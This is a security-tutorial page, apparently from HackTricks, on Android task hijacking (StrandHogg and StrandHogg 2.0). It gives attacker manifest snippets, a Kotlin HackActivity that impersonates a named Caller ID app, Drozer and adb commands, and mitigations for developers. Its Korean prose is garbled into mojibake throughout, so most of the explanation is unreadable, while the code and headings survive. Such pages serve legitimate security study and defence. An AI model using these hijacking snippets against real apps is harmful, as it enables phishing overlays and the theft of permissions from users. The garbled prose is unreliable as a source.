Android Task Hijacking
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
Task, Back Stack and Foreground Activities
μλλ‘μ΄λμμ taskλ μ¬μ©μκ° νΉμ μμ μ μλ£νκΈ° μν΄ μνΈμμ©νλ νλμ μ§ν©μΌλ‘, back stack λ΄μ μ‘°μ§λ©λλ€. μ΄ μ€νμ νλμ΄ μ΄λ¦° μμμ λ°λΌ μ λ ¬λλ©°, κ°μ₯ μ΅κ·Όμ νλμ΄ foreground activityλ‘ νλ©΄ μλ¨μ νμλ©λλ€. μΈμ λ μ§ μ΄ νλλ§ νλ©΄μ 보μ΄λ―λ‘ foreground taskμ μΌλΆκ° λ©λλ€.
νλ μ νμ λν κ°λ¨ν μμ½μ λ€μκ³Ό κ°μ΅λλ€:
- Activity 1μ foregroundμμ μ μΌν νλμΌλ‘ μμλ©λλ€.
- Activity 2λ₯Ό μμνλ©΄ Activity 1μ΄ back stackμΌλ‘ λ°λ €λκ³ , Activity 2κ° foregroundλ‘ μ¬λΌμ΅λλ€.
- Activity 3μ μμνλ©΄ Activity 1κ³Ό Activity 2κ° μ€νμμ λ λ€λ‘ λ°λ¦¬κ³ , Activity 3μ΄ μμ μμΉν©λλ€.
- Activity 3μ λ«μΌλ©΄ Activity 2κ° λ€μ foregroundλ‘ λμμ μλλ‘μ΄λμ κ°μνλ μμ νμ λ©μ»€λμ¦μ 보μ¬μ€λλ€.
.png)
Task affinity attacks
taskAffinityλ μλλ‘μ΄λμ Activityκ° μ νΈνλ μμ
μ μλ €μ€λλ€. λ νλμ΄ λμΌν affinityλ₯Ό 곡μ ν κ²½μ° μλλ‘μ΄λλ μλ‘ λ€λ₯Έ APKμμ μ¨ κ²½μ°μλ λμΌν back-stack λ΄μμ μ΄λ₯Ό λ³ν©ν μ μμ΅λλ€.
곡격μκ° κ·Έ μ€νμ rootμ μ μ± νλμ λ°°μΉν μ μλ€λ©΄, νΌν΄μκ° ν©λ²μ μΈ μ ν리μΌμ΄μ μ μ΄ λλ§λ€ μ μ± UIκ° μ¬μ©μκ° κ°μ₯ λ¨Όμ 보λ κ²μ΄ λ©λλ€ β νΌμ±μ΄λ μ μ© κΆν μμ²μ μλ²½ν©λλ€.
곡격 νλ©΄μ λ§μ κ°λ°μλ€μ΄ μκ°νλ κ²λ³΄λ€ λμ΅λλ€. μλνλ©΄ λͺ¨λ νλμ μλμΌλ‘ μ ν리μΌμ΄μ
ν¨ν€μ§ μ΄λ¦κ³Ό λμΌν affinityλ₯Ό μμλ°κΈ° λλ¬Έμ
λλ€ (κ°λ°μκ° android:taskAffinity=""λ₯Ό μ€μ νμ§ μλ ν). λ°λΌμ μ무κ²λ νμ§ μλ κ²λ§μΌλ‘λ μλλ‘μ΄λ 11 μ΄μ λ²μ μμ μμ
νμ·¨μ λ
ΈμΆλ©λλ€.
Classic βsingleTask / StrandHoggβ scenario
- 곡격μλ λ€μκ³Ό κ°μ΄ νλμ μ μΈν©λλ€:
<activity android:name=".EvilActivity"
android:exported="true"
android:taskAffinity="com.victim.package"
android:launchMode="singleTask" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
- μ μ± μ±μ΄ ν λ² μμλμ΄ (μ€νΈνλ affinityλ₯Ό κ°μ§) μμ μ΄ μ΅κ·Ό μμ μ μ‘΄μ¬νκ² λ©λλ€.
- μ¬μ©μκ° λμ€μ μ€μ μ ν리μΌμ΄μ μ μ΄λ©΄ μλλ‘μ΄λλ μ΄λ―Έ root affinityκ° ν¨ν€μ§μ μΌμΉνλ μμ μ΄ μμμ μ°Ύμ κ·Έ μμ μ foregroundλ‘ κ°μ Έμ΅λλ€.
- 곡격μμ UIκ° λ¨Όμ νμλ©λλ€.
DefaultβAffinity (no singleTask) variant β Caller ID case study
Caller ID (caller.id.phone.number.block) μ ν리μΌμ΄μ
μμ λ³΄κ³ λ μ·¨μ½μ μ κ³΅κ²©μ΄ κΈ°λ³Έ standard μ€ν λͺ¨λμμλ μλν¨μ 보μ¬μ€λλ€:
- 곡격μ μ ν리μΌμ΄μ μ΄ κ°μ§ λ£¨νΈ νλμ μμ±νκ³ μ¦μ μμ μ μ¨κΉλλ€:
class HackActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
moveTaskToBack(true) // μμ
μ μ΅κ·Ό λͺ©λ‘μ μ μ§νλ μμΌμμ λ²μ΄λ¨
}
}
- λ§€λνμ€νΈλ νΌν΄μ ν¨ν€μ§λ₯Ό
taskAffinityμ 볡μ¬νκΈ°λ§ νλ©΄ λ©λλ€:
<activity android:name=".HackActivity"
android:exported="true"
android:taskAffinity="com.caller.id.phone.number.block" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
- μ¬μ©μκ° μ μ± μ±μ ν λ² μ€μΉνκ³ μ΄λ©΄ νΌν΄μ ν¨ν€μ§μ λμΌν affinityλ₯Ό κ°μ§ μμ μ΄ μ‘΄μ¬νκ² λ©λλ€ (νμ§λ§ λ°±κ·ΈλΌμ΄λμ μμΉ).
- μ€μ Caller ID μ ν리μΌμ΄μ
μ΄ μ€νλλ©΄ μλλ‘μ΄λλ κ·Έ μμ
μ μ¬μ¬μ©νκ³
HackActivityλ₯Ό foregroundλ‘ κ°μ Έμ΅λλ€ β νΌμ± μ°½/κΆν λ¨μ©.
NOTE: **Android 11 (API 30)**λΆν° μμ€ν μ κΈ°λ³Έμ μΌλ‘ λμΌν UIDμ μνμ§ μλ λ ν¨ν€μ§λ₯Ό λμΌν μμ μ λ°°μΉνμ§ μμΌλ―λ‘ μ΄ νΉμ λ³νμ μνν©λλ€. μ΄μ λ²μ μ μ¬μ ν μ·¨μ½ν©λλ€.
StrandHogg 2.0 (CVE-2020-0096) β Reflection-based task hijack
ꡬκΈμ 2020λ
5μ 보μ 곡μ§λ StrandHogg 2.0μ΄λΌλ λ κ³ κΈ λ³νμ μμ νμ΅λλ€. μ΄ μ΅μ€νλ‘μμ μ ν taskAffinityμ μμ‘΄νμ§ μμΌλ©°; λμ reflectionμ μ¬μ©νμ¬ κ³΅κ²©μμ νλμ λͺ¨λ μ€ν μ€μΈ μμ
μ 맨 μμ λμ μΌλ‘ μ½μ
νμ¬ μλλ‘μ΄λ 11μμ λμ
λ βshared-UIDβ μ νμ μμ ν μ°νν©λλ€.
μ£Όμ μ¬ν:
- μ λ‘ κΆν μ μ± μ±μ ν λ² μ΄λ¦¬λ©΄ μ€ν μ€μΈ μμ μ λ°λ³΅νκ³ μ¨κ²¨μ§ APIλ₯Ό νΈμΆνμ¬ μμ μ νλμ μ΄λ€ μμ μΌλ‘λ μ¬λΆλͺ¨νν μ μμ΅λλ€.
- νλμ΄ λ°νμ νμ μ½μ
λκΈ° λλ¬Έμ
launchModeλ μ μ λ§€λνμ€νΈ λΆμμΌλ‘λ 곡격μ μ¬μ μ κ°μ§ν μ μμ΅λλ€. - Android 8.0/8.1/9μ 체ν¬λ₯Ό λ°±ν¬νΈνμ¬ ν¨μΉλμμ΅λλ€ (2020λ 5μ SPL). Android 10 μ΄μμ μν₯μ λ°μ§ μμ΅λλ€.
ν¨μΉλμ§ μμ μ₯μΉμμμ νμ§λ adb shell dumpsys activity activitiesλ₯Ό μ¬μ©νμ¬ μνν μ μμΌλ©°, μμ
μ affinityμ ν¨ν€μ§ μ΄λ¦μ΄ λ€λ₯Έ μμ¬μ€λ¬μ΄ νλμ κ°μν©λλ€.
ꡬν μ₯μΉμ λν μνλ κ³ μ μ μΈ μμ
νμ·¨μ λμΌνλ©° + λ°νμ κ²μ¦μ΄ νμν©λλ€ (μ: ActivityManager#getRunningTasksλ₯Ό νΈμΆνκ³ μμ μ ν¨ν€μ§ μ΄λ¦μ κ²μ¦).
Detection & Exploitation checklist
- Static review β λμ APKμμ
AndroidManifest.xmlλ₯Ό κ°μ Έμ κ°<activity>(λλ μ μ<application>μμ)κ°android:taskAffinity=""(λΉμ΄ μμ) λλ μ¬μ©μ μ μ κ°μ ν¬ν¨νλμ§ νμΈν©λλ€. λꡬ μμ:
# apkanalyzer (Android SDK) μ¬μ©
apkanalyzer manifest print app.apk | grep -i taskaffinity
# AXMLPrinter2 μ¬μ©
java -jar AXMLPrinter2.jar AndroidManifest.xml | grep taskAffinity
- Dynamic review β μ₯μΉμμ λμ μ±μ μ΄κ³ μμ λͺ©λ‘μ λμ΄ν©λλ€:
adb shell dumpsys activity activities | grep -A3 "TASK" | grep -E "Root|affinity"
λ£¨νΈ affinityκ° νΌν΄μ ν¨ν€μ§μ κ°μ§λ§ μ΅μμ νλμ΄ λ€λ₯Έ ν¨ν€μ§μ μνλ μμ μ κ²½κ³ μ νΈμ λλ€. 3. μμμ μ€λͺ ν λλ‘ μ μ± μ±μ μ μνκ±°λ **Drozer**λ₯Ό μ¬μ©ν©λλ€:
drozer console connect
run app.activity.start --component com.victim/.MainActivity --action android.intent.action.MAIN
run app.activity.info com.victim
Mitigation
κ°λ°μλ λ€μμ μνν΄μΌ ν©λλ€:
<application>μμ€μμandroid:taskAffinity=""λ₯Ό λͺ μμ μΌλ‘ μ€μ νλ κ²μ΄ μ’μ΅λλ€ λλ κ° νλμ κ³ μ νκ³ κ°μΈμ μΈ affinityλ₯Ό λΆμ¬ν©λλ€.- λ§€μ° λ―Όκ°ν νλ©΄μ κ²½μ° μμ λ°©λ²κ³Ό
android:launchMode="singleInstance"λλ νλμ μΈsetLaunchMode보νΈλ₯Ό κ²°ν©ν©λλ€. - μ±μ
targetSdkVersionμ μ κ·Έλ μ΄λνκ³ κΈ°λ³Έμ μΌλ‘ ν¨ν€μ§ κ°μ μμ μ΄ κ³΅μ λμ§ μλ Android 11μ λμ λ³κ²½ μ¬νμ μνν©λλ€. - Android 12 (API 31) μ΄μμ λͺ©νλ‘ νμ¬ νμ
android:exportedμμ±μ΄ κ°λ°μκ° μΈλΆμμ μ κ·Ό κ°λ₯ν λͺ¨λ κ΅¬μ± μμλ₯Ό κ°μ¬νλλ‘ κ°μ ν©λλ€. - λ°νμ μκΈ° λ°©μ΄λ₯Ό κ³ λ €ν©λλ€: μ£ΌκΈ°μ μΌλ‘
ActivityTaskManagerλ₯Ό 쿼리νμ¬ μ΅μμ νλμ ν¨ν€μ§κ° μμ μ κ²κ³Ό μΌμΉνλμ§ νμΈν©λλ€.
Related UI-Hijacking techniques
μμ νμ·¨λ μ’ μ’ tapjacking (μ€λ²λ μ΄ κΈ°λ° UI μμμ)μ κ²°ν©λκ±°λ λ체λ©λλ€. 2025λ TapTrap μ°κ΅¬λ μμ ν ν¬λͺ ν μ λλ©μ΄μ κΈ°λ° νλμ΄ μλλ‘μ΄λ 12β14μμ λμ λ μ€λ²λ μ΄ ν°μΉ μ νμ μ°ννκ³ μ¬μ ν μ¬μ©μκ° μνν κΆνμ λΆμ¬νλλ‘ μμΌ μ μμμ 보μ¬μ£Όμμ΅λλ€. TapTrapμ μλ°ν λ§ν΄ task νμ·¨λ μλμ§λ§, μ΅μ’ λͺ©ν(νΌμ± ν΄λ¦)λ λμΌνλ―λ‘ νλμ μΈ νκ°μμλ λ 곡격 νλ©΄μ λͺ¨λ νμΈν΄μΌ ν©λλ€.
References
- https://blog.dixitaditya.com/android-task-hijacking/
- https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html
- Android Manifest Misconfiguration Leading to Task Hijacking in Caller ID app
- https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06
- Promon β StrandHogg 2.0 (CVE-2020-0096) technical write-up
- USENIX 2025 β TapTrap: Animation-Driven Tapjacking on Android
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.


